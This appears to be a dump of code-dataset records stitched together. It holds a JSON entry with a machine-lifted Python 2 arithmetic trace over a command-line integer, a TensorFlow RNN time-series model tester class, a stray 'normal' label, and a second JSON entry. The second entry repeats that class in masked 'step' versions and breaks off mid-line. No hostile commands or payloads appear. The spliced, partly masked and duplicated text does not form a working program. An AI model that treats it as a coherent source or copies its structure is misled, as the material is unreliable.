{ "blob_id": "22d3ff0fca9a5537da37bfbc968d83ec6f919752", "index": 5162, "step-1": "#!/usr/bin/env python2\n## -*- coding: utf-8 -*-\n\nimport sys\n\ndef sx(bits, value):\n sign_bit = 1 << (bits - 1)\n return (value & (sign_bit - 1)) - (value & sign_bit)\n\nSymVar_0 = int(sys.argv[1])\nref_263 = SymVar_0\nref_278 = ref_263 # MOV operation\nref_5710 = ref_278 # MOV operation\nref_5786 = ref_5710 # MOV operation\nref_5800 = (0x1F02C962 | ref_5786) # OR operation\nref_5901 = ref_5800 # MOV operation\nref_5915 = (0x1F8797B2 & ref_5901) # AND operation\nref_6846 = ref_5915 # MOV operation\nref_7764 = ref_6846 # MOV operation\nref_8577 = ref_278 # MOV operation\nref_8653 = ref_8577 # MOV operation\nref_8665 = ref_7764 # MOV operation\nref_8667 = (ref_8665 & ref_8653) # AND operation\nref_9598 = ref_8667 # MOV operation\nref_10431 = ref_278 # MOV operation\nref_10631 = ref_10431 # MOV operation\nref_10637 = (((sx(0x40, 0x66AF1DF) * sx(0x40, ref_10631)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) & 0xFFFFFFFFFFFFFFFF) # IMUL operation\nref_11673 = ref_9598 # MOV operation\nref_11749 = ref_11673 # MOV operation\nref_11763 = ((ref_11749 << (0x39 & 0x3F)) & 0xFFFFFFFFFFFFFFFF) # SHL operation\nref_12802 = ref_9598 # MOV operation\nref_12878 = ref_12802 # MOV operation\nref_12892 = (ref_12878 >> (0x7 & 0x3F)) # SHR operation\nref_12993 = ref_12892 # MOV operation\nref_13005 = ref_11763 # MOV operation\nref_13007 = (ref_13005 | ref_12993) # OR operation\nref_13116 = ref_10637 # MOV operation\nref_13120 = ref_13007 # MOV operation\nref_13122 = ((ref_13120 + ref_13116) & 0xFFFFFFFFFFFFFFFF) # ADD operation\nref_14054 = ref_13122 # MOV operation\nref_22590 = ref_14054 # MOV operation\nref_23808 = ref_14054 # MOV operation\nref_23892 = ref_22590 # MOV operation\nref_23896 = ref_23808 # MOV operation\nref_23898 = ((ref_23896 + ref_23892) & 0xFFFFFFFFFFFFFFFF) # ADD operation\nref_24830 = ref_23898 # MOV operation\nref_26068 = ref_9598 # MOV operation\nref_26144 = ref_26068 # MOV operation\nref_26158 = (0x7 & ref_26144) # AND operation\nref_26259 = ref_26158 # MOV operation\nref_26273 = ((ref_26259 << (0x2 & 0x3F)) & 0xFFFFFFFFFFFFFFFF) # SHL operation\nref_27516 = ref_14054 # MOV operation\nref_27592 = ref_27516 # MOV operation\nref_27604 = ref_26273 # MOV operation\nref_27606 = (ref_27604 | ref_27592) # OR operation\nref_28857 = ref_27606 # MOV operation\nref_28859 = ((ref_28857 >> 56) & 0xFF) # Byte reference - MOV operation\nref_28860 = ((ref_28857 >> 48) & 0xFF) # Byte reference - MOV operation\nref_28861 = ((ref_28857 >> 40) & 0xFF) # Byte reference - MOV operation\nref_28862 = ((ref_28857 >> 32) & 0xFF) # Byte reference - MOV operation\nref_28863 = ((ref_28857 >> 24) & 0xFF) # Byte reference - MOV operation\nref_28864 = ((ref_28857 >> 16) & 0xFF) # Byte reference - MOV operation\nref_28865 = ((ref_28857 >> 8) & 0xFF) # Byte reference - MOV operation\nref_28866 = (ref_28857 & 0xFF) # Byte reference - MOV operation\nref_30829 = ref_28859 # MOVZX operation\nref_30905 = (ref_30829 & 0xFF) # MOVZX operation\nref_34489 = ref_28866 # MOVZX operation\nref_34565 = (ref_34489 & 0xFF) # MOVZX operation\nref_34567 = (ref_34565 & 0xFF) # Byte reference - MOV operation\nref_36529 = (ref_30905 & 0xFF) # MOVZX operation\nref_36605 = (ref_36529 & 0xFF) # MOVZX operation\nref_36607 = (ref_36605 & 0xFF) # Byte reference - MOV operation\nref_37835 = ref_9598 # MOV operation\nref_39053 = ((((((((ref_34567) << 8 | ref_28860) << 8 | ref_28861) << 8 | ref_28862) << 8 | ref_28863) << 8 | ref_28864) << 8 | ref_28865) << 8 | ref_36607) # MOV operation\nref_39129 = ref_39053 # MOV operation\nref_39141 = ref_37835 # MOV operation\nref_39143 = (ref_39141 & ref_39129) # AND operation\nref_39244 = ref_39143 # MOV operation\nref_39258 = (0x1F & ref_39244) # AND operation\nref_39359 = ref_39258 # MOV operation\nref_39373 = ((ref_39359 << (0x4 & 0x3F)) & 0xFFFFFFFFFFFFFFFF) # SHL operation\nref_40296 = ref_6846 # MOV operation\nref_40372 = ref_40296 # MOV operation\nref_40384 = ref_39373 # MOV operation\nref_40386 = (ref_40384 | ref_40372) # OR operation\nref_41317 = ref_40386 # MOV operation\nref_43860 = ref_24830 # MOV operation\nref_45078 = ref_24830 # MOV operation\nref_45162 = ref_43860 # MOV operation\nref_45166 = ref_45078 # MOV operation\nref_45168 = ((ref_45166 + ref_45162) & 0xFFFFFFFFFFFFFFFF) # ADD operation\nref_46100 = ref_45168 # MOV operation\nref_47338 = ((((((((ref_34567) << 8 | ref_28860) << 8 | ref_28861) << 8 | ref_28862) << 8 | ref_28863) << 8 | ref_28864) << 8 | ref_28865) << 8 | ref_36607) # MOV operation\nref_47414 = ref_47338 # MOV operation\nref_47428 = (0x7 & ref_47414) # AND operation\nref_47529 = ref_47428 # MOV operation\nref_47543 = ((ref_47529 << (0x2 & 0x3F)) & 0xFFFFFFFFFFFFFFFF) # SHL operation\nref_48786 = ref_46100 # MOV operation\nref_48862 = ref_48786 # MOV operation\nref_48874 = ref_47543 # MOV operation\nref_48876 = (ref_48874 | ref_48862) # OR operation\nref_50127 = ref_48876 # MOV operation\nref_50129 = ((ref_50127 >> 56) & 0xFF) # Byte reference - MOV operation\nref_50130 = ((ref_50127 >> 48) & 0xFF) # Byte reference - MOV operation\nref_50131 = ((ref_50127 >> 40) & 0xFF) # Byte reference - MOV operation\nref_50132 = ((ref_50127 >> 32) & 0xFF) # Byte reference - MOV operation\nref_50133 = ((ref_50127 >> 24) & 0xFF) # Byte reference - MOV operation\nref_50134 = ((ref_50127 >> 16) & 0xFF) # Byte reference - MOV operation\nref_50135 = ((ref_50127 >> 8) & 0xFF) # Byte reference - MOV operation\nref_50136 = (ref_50127 & 0xFF) # Byte reference - MOV operation\nref_52099 = ref_50129 # MOVZX operation\nref_52175 = (ref_52099 & 0xFF) # MOVZX operation\nref_55759 = ref_50136 # MOVZX operation\nref_55835 = (ref_55759 & 0xFF) # MOVZX operation\nref_55837 = (ref_55835 & 0xFF) # Byte reference - MOV operation\nref_57799 = (ref_52175 & 0xFF) # MOVZX operation\nref_57875 = (ref_57799 & 0xFF) # MOVZX operation\nref_57877 = (ref_57875 & 0xFF) # Byte reference - MOV operation\nref_59105 = ((((((((ref_34567) << 8 | ref_28860) << 8 | ref_28861) << 8 | ref_28862) << 8 | ref_28863) << 8 | ref_28864) << 8 | ref_28865) << 8 | ref_36607) # MOV operation\nref_60323 = ((((((((ref_55837) << 8 | ref_50130) << 8 | ref_50131) << 8 | ref_50132) << 8 | ref_50133) << 8 | ref_50134) << 8 | ref_50135) << 8 | ref_57877) # MOV operation\nref_60399 = ref_60323 # MOV operation\nref_60411 = ref_59105 # MOV operation\nref_60413 = (ref_60411 & ref_60399) # AND operation\nref_60514 = ref_60413 # MOV operation\nref_60528 = (0x1F & ref_60514) # AND operation\nref_60629 = ref_60528 # MOV operation\nref_60643 = ((ref_60629 << (0x4 & 0x3F)) & 0xFFFFFFFFFFFFFFFF) # SHL operation\nref_61566 = ref_41317 # MOV operation\nref_61642 = ref_61566 # MOV operation\nref_61654 = ref_60643 # MOV operation\nref_61656 = (ref_61654 | ref_61642) # OR operation\nref_62587 = ref_61656 # MOV operation\nref_65203 = ((((((((ref_55837) << 8 | ref_50130) << 8 | ref_50131) << 8 | ref_50132) << 8 | ref_50133) << 8 | ref_50134) << 8 | ref_50135) << 8 | ref_57877) # MOV operation\nref_66101 = ((((((((ref_34567) << 8 | ref_28860) << 8 | ref_28861) << 8 | ref_28862) << 8 | ref_28863) << 8 | ref_28864) << 8 | ref_28865) << 8 | ref_36607) # MOV operation\nref_66177 = ref_66101 # MOV operation\nref_66189 = ref_65203 # MOV operation\nref_66191 = (ref_66189 | ref_66177) # OR operation\nref_66292 = ref_66191 # MOV operation\nref_66306 = (0xF & ref_66292) # AND operation\nref_66407 = ref_66306 # MOV operation\nref_66421 = (0x1 | ref_66407) # OR operation\nref_66650 = ref_66421 # MOV operation\nref_66652 = ((0x40 - ref_66650) & 0xFFFFFFFFFFFFFFFF) # SUB operation\nref_66660 = ref_66652 # MOV operation\nref_67926 = ref_9598 # MOV operation\nref_68002 = ref_67926 # MOV operation\nref_68016 = (ref_68002 >> (0x1 & 0x3F)) # SHR operation\nref_68117 = ref_68016 # MOV operation\nref_68131 = (0xF & ref_68117) # AND operation\nref_68232 = ref_68131 # MOV operation\nref_68246 = (0x1 | ref_68232) # OR operation\nref_68475 = ref_68246 # MOV operation\nref_68477 = ((0x40 - ref_68475) & 0xFFFFFFFFFFFFFFFF) # SUB operation\nref_68485 = ref_68477 # MOV operation\nref_69403 = ref_62587 # MOV operation\nref_69479 = ref_69403 # MOV operation\nref_69491 = ref_68485 # MOV operation\nref_69493 = ((ref_69479 << ((ref_69491 & 0xFF) & 0x3F)) & 0xFFFFFFFFFFFFFFFF) # SHL operation\nref_70764 = ref_9598 # MOV operation\nref_70840 = ref_70764 # MOV operation\nref_70854 = (ref_70840 >> (0x1 & 0x3F)) # SHR operation\nref_70955 = ref_70854 # MOV operation\nref_70969 = (0xF & ref_70955) # AND operation\nref_71070 = ref_70969 # MOV operation\nref_71084 = (0x1 | ref_71070) # OR operation\nref_72007 = ref_62587 # MOV operation\nref_72083 = ref_72007 # MOV operation\nref_72095 = ref_71084 # MOV operation\nref_72097 = (ref_72083 >> ((ref_72095 & 0xFF) & 0x3F)) # SHR operation\nref_72198 = ref_72097 # MOV operation\nref_72210 = ref_69493 # MOV operation\nref_72212 = (ref_72210 | ref_72198) # OR operation\nref_72313 = ref_72212 # MOV operation\nref_72325 = ref_66660 # MOV operation\nref_72327 = (ref_72313 >> ((ref_72325 & 0xFF) & 0x3F)) # SHR operation\nref_73482 = ((((((((ref_55837) << 8 | ref_50130) << 8 | ref_50131) << 8 | ref_50132) << 8 | ref_50133) << 8 | ref_50134) << 8 | ref_50135) << 8 | ref_57877) # MOV operation\nref_74380 = ((((((((ref_34567) << 8 | ref_28860) << 8 | ref_28861) << 8 | ref_28862) << 8 | ref_28863) << 8 | ref_28864) << 8 | ref_28865) << 8 | ref_36607) # MOV operation\nref_74456 = ref_74380 # MOV operation\nref_74468 = ref_73482 # MOV operation\nref_74470 = (ref_74468 | ref_74456) # OR operation\nref_74571 = ref_74470 # MOV operation\nref_74585 = (0xF & ref_74571) # AND operation\nref_74686 = ref_74585 # MOV operation\nref_74700 = (0x1 | ref_74686) # OR operation\nref_75971 = ref_9598 # MOV operation\nref_76047 = ref_75971 # MOV operation\nref_76061 = (ref_76047 >> (0x1 & 0x3F)) # SHR operation\nref_76162 = ref_76061 # MOV operation\nref_76176 = (0xF & ref_76162) # AND operation\nref_76277 = ref_76176 # MOV operation\nref_76291 = (0x1 | ref_76277) # OR operation\nref_76520 = ref_76291 # MOV operation\nref_76522 = ((0x40 - ref_76520) & 0xFFFFFFFFFFFFFFFF) # SUB operation\nref_76530 = ref_76522 # MOV operation\nref_77448 = ref_62587 # MOV operation\nref_77524 = ref_77448 # MOV operation\nref_77536 = ref_76530 # MOV operation\nref_77538 = ((ref_77524 << ((ref_77536 & 0xFF) & 0x3F)) & 0xFFFFFFFFFFFFFFFF) # SHL operation\nref_78809 = ref_9598 # MOV operation\nref_78885 = ref_78809 # MOV operation\nref_78899 = (ref_78885 >> (0x1 & 0x3F)) # SHR operation\nref_79000 = ref_78899 # MOV operation\nref_79014 = (0xF & ref_79000) # AND operation\nref_79115 = ref_79014 # MOV operation\nref_79129 = (0x1 | ref_79115) # OR operation\nref_80052 = ref_62587 # MOV operation\nref_80128 = ref_80052 # MOV operation\nref_80140 = ref_79129 # MOV operation\nref_80142 = (ref_80128 >> ((ref_80140 & 0xFF) & 0x3F)) # SHR operation\nref_80243 = ref_80142 # MOV operation\nref_80255 = ref_77538 # MOV operation\nref_80257 = (ref_80255 | ref_80243) # OR operation\nref_80358 = ref_80257 # MOV operation\nref_80370 = ref_74700 # MOV operation\nref_80372 = ((ref_80358 << ((ref_80370 & 0xFF) & 0x3F)) & 0xFFFFFFFFFFFFFFFF) # SHL operation\nref_80473 = ref_80372 # MOV operation\nref_80485 = ref_72327 # MOV operation\nref_80487 = (ref_80485 | ref_80473) # OR operation\nref_81342 = ref_80487 # MOV operation\nref_81553 = ref_81342 # MOV operation\nref_81555 = ref_81553 # MOV operation\n\nprint ref_81555 & 0xffffffffffffffff\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
import numpy as np import tensorflow as tf from tfrecords_handler.moving_window.tfrecord_mean_reader import TFRecordReader from configs.global_configs import training_data_configs class StackingModelTester: def __init__(self, **kwargs): self.__use_bias = kwargs["use_bias"] self.__use_peepholes = kwargs["use_peepholes"] self.__input_size = kwargs["input_size"] self.__output_size = kwargs["output_size"] self.__binary_train_file_path = kwargs["binary_train_file_path"] self.__binary_test_file_path = kwargs["binary_test_file_path"] self.__seed = kwargs["seed"] self.__cell_type = kwargs["cell_type"] def __l1_loss(self, z, t): loss = tf.reduce_mean(tf.abs(t - z)) return loss def __l2_loss(selfself, z, t): loss = tf.losses.mean_squared_error(labels=t, predictions=z) return loss # Training the time series def test_model(self, **kwargs): # extract the parameters from the kwargs num_hidden_layers = kwargs['num_hidden_layers'] cell_dimension = kwargs['cell_dimension'] minibatch_size = kwargs['minibatch_size'] max_epoch_size = kwargs['max_epoch_size'] max_num_epochs = kwargs['max_num_epochs'] l2_regularization = kwargs['l2_regularization'] gaussian_noise_stdev = kwargs['gaussian_noise_stdev'] optimizer_fn = kwargs['optimizer_fn'] random_normal_initializer_stdev = kwargs['random_normal_initializer_stdev'] # reset the tensorflow graph tf.reset_default_graph() tf.set_random_seed(self.__seed) # declare the input and output placeholders input = tf.placeholder(dtype=tf.float32, shape=[None, None, self.__input_size]) noise = tf.random_normal(shape=tf.shape(input), mean=0.0, stddev=gaussian_noise_stdev, dtype=tf.float32) training_input = input + noise testing_input = input # output format [batch_size, sequence_length, dimension] true_output = tf.placeholder(dtype=tf.float32, shape=[None, None, self.__output_size]) sequence_lengths = tf.placeholder(dtype=tf.int64, shape=[None]) weight_initializer = tf.truncated_normal_initializer(stddev=random_normal_initializer_stdev) # RNN with the layer of cells def cell(): if self.__cell_type == "LSTM": cell = tf.nn.rnn_cell.LSTMCell(num_units=int(cell_dimension), use_peepholes=self.__use_peepholes, initializer=weight_initializer) elif self.__cell_type == "GRU": cell = tf.nn.rnn_cell.GRUCell(num_units=int(cell_dimension), kernel_initializer=weight_initializer) elif self.__cell_type == "RNN": cell = tf.nn.rnn_cell.BasicRNNCell(num_units=int(cell_dimension)) return cell multi_layered_cell = tf.nn.rnn_cell.MultiRNNCell(cells=[cell() for _ in range(int(num_hidden_layers))]) with tf.variable_scope('train_scope') as train_scope: training_rnn_outputs, training_rnn_states = tf.nn.dynamic_rnn(cell=multi_layered_cell, inputs=training_input, sequence_length=sequence_lengths, dtype=tf.float32) # connect the dense layer to the RNN training_prediction_output = tf.layers.dense( inputs=tf.convert_to_tensor(value=training_rnn_outputs, dtype=tf.float32), units=self.__output_size, use_bias=self.__use_bias, kernel_initializer=weight_initializer, name='dense_layer') with tf.variable_scope(train_scope, reuse=tf.AUTO_REUSE) as inference_scope: inference_rnn_outputs, inference_rnn_states = tf.nn.dynamic_rnn(cell=multi_layered_cell, inputs=testing_input, sequence_length=sequence_lengths, dtype=tf.float32) # connect the dense layer to the RNN inference_prediction_output = tf.layers.dense( inputs=tf.convert_to_tensor(value=inference_rnn_outputs, dtype=tf.float32), units=self.__output_size, use_bias=self.__use_bias, kernel_initializer=weight_initializer, name='dense_layer', reuse=True) # error that should be minimized in the training process error = self.__l1_loss(training_prediction_output, true_output) # l2 regularization of the trainable model parameters l2_loss = 0.0 for var in tf.trainable_variables(): l2_loss += tf.nn.l2_loss(var) l2_loss = tf.multiply(tf.cast(l2_regularization, dtype=tf.float64), tf.cast(l2_loss, dtype=tf.float64)) total_loss = tf.cast(error, dtype=tf.float64) + l2_loss # create the adagrad optimizer optimizer = optimizer_fn(total_loss) # create the Dataset objects for the training and test data training_dataset = tf.data.TFRecordDataset(filenames=[self.__binary_train_file_path], compression_type="ZLIB") test_dataset = tf.data.TFRecordDataset([self.__binary_test_file_path], compression_type="ZLIB") # parse the records tfrecord_reader = TFRecordReader(self.__input_size, self.__output_size) # prepare the training data into batches # randomly shuffle the time series within the dataset shuffle_seed = tf.placeholder(dtype=tf.int64, shape=[]) # training_dataset = training_dataset.apply( # tf.data.experimental.shuffle_and_repeat(buffer_size=training_data_configs.SHUFFLE_BUFFER_SIZE, # count=int(max_epoch_size), seed=shuffle_seed)) training_dataset = training_dataset.repeat(count=int(max_epoch_size)) training_dataset = training_dataset.map(tfrecord_reader.validation_data_parser) # create the batches by padding the datasets to make the variable sequence lengths fixed within the individual batches padded_training_data_batches = training_dataset.padded_batch(batch_size=int(minibatch_size), padded_shapes=( [], [tf.Dimension(None), self.__input_size], [tf.Dimension(None), self.__output_size], [tf.Dimension(None), self.__output_size + 2])) # get an iterator to the batches training_data_batch_iterator = padded_training_data_batches.make_initializable_iterator() # access each batch using the iterator next_training_data_batch = training_data_batch_iterator.get_next() # preparing the test data test_dataset = test_dataset.map(tfrecord_reader.test_data_parser) # create a single batch from all the test time series by padding the datasets to make the variable sequence lengths fixed padded_test_input_data = test_dataset.padded_batch(batch_size=int(minibatch_size), padded_shapes=([], [tf.Dimension(None), self.__input_size], [tf.Dimension(None), self.__output_size + 2])) # get an iterator to the test input data batch test_input_iterator = padded_test_input_data.make_one_shot_iterator() # access the test input batch using the iterator test_input_data_batch = test_input_iterator.get_next() # setup variable initialization init_op = tf.global_variables_initializer() with tf.Session() as session: session.run(init_op) for epoch in range(int(max_num_epochs)): print("Epoch->", epoch) session.run(training_data_batch_iterator.initializer, feed_dict={shuffle_seed: epoch}) while True: try: training_data_batch_value = session.run(next_training_data_batch, feed_dict={shuffle_seed: epoch}) session.run(optimizer, feed_dict={input: training_data_batch_value[1], true_output: training_data_batch_value[2], sequence_lengths: training_data_batch_value[0]}) except tf.errors.OutOfRangeError: break # applying the model to the test data list_of_forecasts = [] while True: try: # get the batch of test inputs test_input_batch_value = session.run(test_input_data_batch) # get the output of the network for the test input data batch test_output = session.run(inference_prediction_output, feed_dict={input: test_input_batch_value[1], sequence_lengths: test_input_batch_value[0]}) last_output_index = test_input_batch_value[0] - 1 array_first_dimension = np.array(range(0, test_input_batch_value[0].shape[0])) forecasts = test_output[array_first_dimension, last_output_index] list_of_forecasts.extend(forecasts.tolist()) except tf.errors.OutOfRangeError: break session.close() return list_of_forecasts
normal
{ "blob_id": "3b7839347f24d39904d29d40e688a5dfd63534d7", "index": 3560, "step-1": "<mask token>\n\n\nclass StackingModelTester:\n\n def __init__(self, **kwargs):\n self.__use_bias = kwargs['use_bias']\n self.__use_peepholes = kwargs['use_peepholes']\n self.__input_size = kwargs['input_size']\n self.__output_size = kwargs['output_size']\n self.__binary_train_file_path = kwargs['binary_train_file_path']\n self.__binary_test_file_path = kwargs['binary_test_file_path']\n self.__seed = kwargs['seed']\n self.__cell_type = kwargs['cell_type']\n <mask token>\n\n def __l2_loss(selfself, z, t):\n loss = tf.losses.mean_squared_error(labels=t, predictions=z)\n return loss\n <mask token>\n", "step-2": "<mask token>\n\n\nclass StackingModelTester:\n\n def __init__(self, **kwargs):\n self.__use_bias = kwargs['use_bias']\n self.__use_peepholes = kwargs['use_peepholes']\n self.__input_size = kwargs['input_size']\n self.__output_size = kwargs['output_size']\n self.__binary_train_file_path = kwargs['binary_train_file_path']\n self.__binary_test_file_path = kwargs['binary_test_file_path']\n self.__seed = kwargs['seed']\n self.__cell_type = kwargs['cell_type']\n\n def __l1_loss(self, z, t):\n loss = tf.reduce_mean(tf.abs(t - z))\n return loss\n\n def __l2_loss(selfself, z, t):\n loss = tf.losses.mean_squared_error(labels=t, predictions=z)\n return loss\n <mask token>\n", "step-3": "<mask token>\n\n\nclass StackingModelTester:\n\n def __init__(self, **kwargs):\n self.__use_bias = kwargs['use_bias']\n self.__use_peepholes = kwargs['use_peepholes']\n self.__input_size = kwargs['input_size']\n self.__output_size = kwargs['output_size']\n self.__binary_train_file_path = kwargs['binary_train_file_path']\n self.__binary_test_file_path = kwargs['binary_test_file_path']\n self.__seed = kwargs['seed']\n self.__cell_type = kwargs['cell_type']\n\n def __l1_loss(self, z, t):\n loss = tf.reduce_mean(tf.abs(t - z))\n return loss\n\n def __l2_loss(selfself, z, t):\n loss = tf.losses.mean_squared_error(labels=t, predictions=z)\n return loss\n\n def test_model(self, **kwargs):\n num_hidden_layers = kwargs['num_hidden_layers']\n cell_dimension = kwargs['cell_dimension']\n minibatch_size = kwargs['minibatch_size']\n max_epoch_size = kwargs['max_epoch_size']\n max_num_epochs = kwargs['max_num_epochs']\n l2_regularization = kwargs['l2_regularization']\n gaussian_noise_stdev = kwargs['gaussian_noise_stdev']\n optimizer_fn = kwargs['optimizer_fn']\n random_normal_initializer_stdev = kwargs[\n 'random_normal_initializer_stdev']\n tf.reset_default_graph()\n tf.set_random_seed(self.__seed)\n input = tf.placeholder(dtype=tf.float32, shape=[None, None, self.\n __input_size])\n noise = tf.random_normal(shape=tf.shape(input), mean=0.0, stddev=\n gaussian_noise_stdev, dtype=tf.float32)\n training_input = input + noise\n testing_input = input\n true_output = tf.placeholder(dtype=tf.float32, shape=[None, None,\n self.__output_size])\n sequence_lengths = tf.placeholder(dtype=tf.int64, shape=[None])\n weight_initializer = tf.truncated_normal_initializer(stddev=\n random_normal_initializer_stdev)\n\n def cell():\n if self.__cell_type == 'LSTM':\n cell = tf.nn.rnn_cell.LSTMCell(num_units=int(cell_dimension\n ), use_peepholes=self.__use_peepholes, initializer=\n weight_initializer)\n elif self.__cell_type == 'GRU':\n cell = tf.nn.rnn_cell.GRUCell(num_units=int(cell_dimension),\n kernel_initializer=weight_initializer)\n elif self.__cell_type == 'RNN':\n cell = tf.nn.rnn_cell.BasicRNNCell(num_units=int(\n cell_dimension))\n return cell\n multi_layered_cell = tf.nn.rnn_cell.MultiRNNCell(cells=[cell() for\n _ in range(int(num_hidden_layers))])\n with tf.variable_scope('train_scope') as train_scope:\n training_rnn_outputs, training_rnn_states = tf.nn.dynamic_rnn(cell\n =multi_layered_cell, inputs=training_input, sequence_length\n =sequence_lengths, dtype=tf.float32)\n training_prediction_output = tf.layers.dense(inputs=tf.\n convert_to_tensor(value=training_rnn_outputs, dtype=tf.\n float32), units=self.__output_size, use_bias=self.\n __use_bias, kernel_initializer=weight_initializer, name=\n 'dense_layer')\n with tf.variable_scope(train_scope, reuse=tf.AUTO_REUSE\n ) as inference_scope:\n inference_rnn_outputs, inference_rnn_states = tf.nn.dynamic_rnn(\n cell=multi_layered_cell, inputs=testing_input,\n sequence_length=sequence_lengths, dtype=tf.float32)\n inference_prediction_output = tf.layers.dense(inputs=tf.\n convert_to_tensor(value=inference_rnn_outputs, dtype=tf.\n float32), units=self.__output_size, use_bias=self.\n __use_bias, kernel_initializer=weight_initializer, name=\n 'dense_layer', reuse=True)\n error = self.__l1_loss(training_prediction_output, true_output)\n l2_loss = 0.0\n for var in tf.trainable_variables():\n l2_loss += tf.nn.l2_loss(var)\n l2_loss = tf.multiply(tf.cast(l2_regularization, dtype=tf.float64),\n tf.cast(l2_loss, dtype=tf.float64))\n total_loss = tf.cast(error, dtype=tf.float64) + l2_loss\n optimizer = optimizer_fn(total_loss)\n training_dataset = tf.data.TFRecordDataset(filenames=[self.\n __binary_train_file_path], compression_type='ZLIB')\n test_dataset = tf.data.TFRecordDataset([self.\n __binary_test_file_path], compression_type='ZLIB')\n tfrecord_reader = TFRecordReader(self.__input_size, self.__output_size)\n shuffle_seed = tf.placeholder(dtype=tf.int64, shape=[])\n training_dataset = training_dataset.repeat(count=int(max_epoch_size))\n training_dataset = training_dataset.map(tfrecord_reader.\n validation_data_parser)\n padded_training_data_batches = training_dataset.padded_batch(batch_size\n =int(minibatch_size), padded_shapes=([], [tf.Dimension(None),\n self.__input_size], [tf.Dimension(None), self.__output_size], [\n tf.Dimension(None), self.__output_size + 2]))\n training_data_batch_iterator = (padded_training_data_batches.\n make_initializable_iterator())\n next_training_data_batch = training_data_batch_iterator.get_next()\n test_dataset = test_dataset.map(tfrecord_reader.test_data_parser)\n padded_test_input_data = test_dataset.padded_batch(batch_size=int(\n minibatch_size), padded_shapes=([], [tf.Dimension(None), self.\n __input_size], [tf.Dimension(None), self.__output_size + 2]))\n test_input_iterator = padded_test_input_data.make_one_shot_iterator()\n test_input_data_batch = test_input_iterator.get_next()\n init_op = tf.global_variables_initializer()\n with tf.Session() as session:\n session.run(init_op)\n for epoch in range(int(max_num_epochs)):\n print('Epoch->', epoch)\n session.run(training_data_batch_iterator.initializer,\n feed_dict={shuffle_seed: epoch})\n while True:\n try:\n training_data_batch_value = session.run(\n next_training_data_batch, feed_dict={\n shuffle_seed: epoch})\n session.run(optimizer, feed_dict={input:\n training_data_batch_value[1], true_output:\n training_data_batch_value[2], sequence_lengths:\n training_data_batch_value[0]})\n except tf.errors.OutOfRangeError:\n break\n list_of_forecasts = []\n while True:\n try:\n test_input_batch_value = session.run(test_input_data_batch)\n test_output = session.run(inference_prediction_output,\n feed_dict={input: test_input_batch_value[1],\n sequence_lengths: test_input_batch_value[0]})\n last_output_index = test_input_batch_value[0] - 1\n array_first_dimension = np.array(range(0,\n test_input_batch_value[0].shape[0]))\n forecasts = test_output[array_first_dimension,\n last_output_index]\n list_of_forecasts.extend(forecasts.tolist())\n except tf.errors.OutOfRangeError:\n break\n session.close()\n return list_of_forecasts\n", "step-4": "import numpy as np\nimport tensorflow as tf\nfrom tfrecords_handler.moving_window.tfrecord_mean_reader import TFRecordReader\nfrom configs.global_configs import training_data_configs\n\n\nclass StackingModelTester:\n\n def __init__(self, **kwargs):\n self.__use_bias = kwargs['use_bias']\n self.__use_peepholes = kwargs['use_peepholes']\n self.__input_size = kwargs['input_size']\n self.__output_size = kwargs['output_size']\n self.__binary_train_file_path = kwargs['binary_train_file_path']\n self.__binary_test_file_path = kwargs['binary_test_file_path']\n self.__seed = kwargs['seed']\n self.__cell_type = kwargs['cell_type']\n\n def __l1_loss(self, z, t):\n loss = tf.reduce_mean(tf.abs(t - z))\n return loss\n\n def __l2_loss(selfself, z, t):\n loss = tf.losses.mean_squared_error(labels=t, predictions=z)\n return loss\n\n def test_model(self, **kwargs):\n num_hidden_layers = kwargs['num_hidden_layers']\n cell_dimension = kwargs['cell_dimension']\n minibatch_size = kwargs['minibatch_size']\n max_epoch_size = kwargs['max_epoch_size']\n max_num_epochs = kwargs['max_num_epochs']\n l2_regularization = kwargs['l2_regularization']\n gaussian_noise_stdev = kwargs['gaussian_noise_stdev']\n optimizer_fn = kwargs['optimizer_fn']\n random_normal_initializer_stdev = kwargs[\n 'random_normal_initializer_stdev']\n tf.reset_default_graph()\n tf.set_random_seed(self.__seed)\n input = tf.placeholder(dtype=tf.float32, shape=[None, None, self.\n __input_size])\n noise = tf.random_normal(shape=tf.shape(input), mean=0.0, stddev=\n gaussian_noise_stdev, dtype=tf.float32)\n training_input = input + noise\n testing_input = input\n true_output = tf.placeholder(dtype=tf.float32, shape=[None, None,\n self.__output_size])\n sequence_lengths = tf.placeholder(dtype=tf.int64, shape=[None])\n weight_initializer = tf.truncated_normal_initializer(stddev=\n random_normal_initializer_stdev)\n\n def cell():\n if self.__cell_type == 'LSTM':\n cell = tf.nn.rnn_cell.LSTMCell(num_units=int(cell_dimension\n ), use_peepholes=self.__use_peepholes, initializer=\n weight_initializer)\n elif self.__cell_type == 'GRU':\n cell = tf.nn.rnn_cell.GRUCell(num_units=int(cell_dimension),\n kernel_initializer=weight_initializer)\n elif self.__cell_type == 'RNN':\n cell = tf.nn.rnn_cell.BasicRNNCell(num_units=int(\n cell_dimension))\n return cell\n multi_layered_cell = tf.nn.rnn_cell.MultiRNNCell(cells=[cell() for\n _ in range(int(num_hidden_layers))])\n with tf.variable_scope('train_scope') as train_scope:\n training_rnn_outputs, training_rnn_states = tf.nn.dynamic_rnn(cell\n =multi_layered_cell, inputs=training_input, sequence_length\n =sequence_lengths, dtype=tf.float32)\n training_prediction_output = tf.layers.dense(inputs=tf.\n convert_to_tensor(value=training_rnn_outputs, dtype=tf.\n float32), units=self.__output_size, use_bias=self.\n __use_bias, kernel_initializer=weight_initializer, name=\n 'dense_layer')\n with tf.variable_scope(train_scope, reuse=tf.AUTO_REUSE\n ) as inference_scope:\n inference_rnn_outputs, inference_rnn_states = tf.nn.dynamic_rnn(\n cell=multi_layered_cell, inputs=testing_input,\n sequence_length=sequence_lengths, dtype=tf.float32)\n inference_prediction_output = tf.layers.dense(inputs=tf.\n convert_to_tensor(value=inference_rnn_outputs, dtype=tf.\n float32), units=self.__output_size, use_bias=self.\n __use_bias, kernel_initializer=weight_initializer, name=\n 'dense_layer', reuse=True)\n error = self.__l1_loss(training_prediction_output, true_output)\n l2_loss = 0.0\n for var in tf.trainable_variables():\n l2_loss += tf.nn.l2_loss(var)\n l2_loss = tf.multiply(tf.cast(l2_regularization, dtype=tf.float64),\n tf.cast(l2_loss, dtype=tf.float64))\n total_loss = tf.cast(error, dtype=tf.float64) + l2_loss\n optimizer = optimizer_fn(total_loss)\n training_dataset = tf.data.TFRecordDataset(filenames=[self.\n 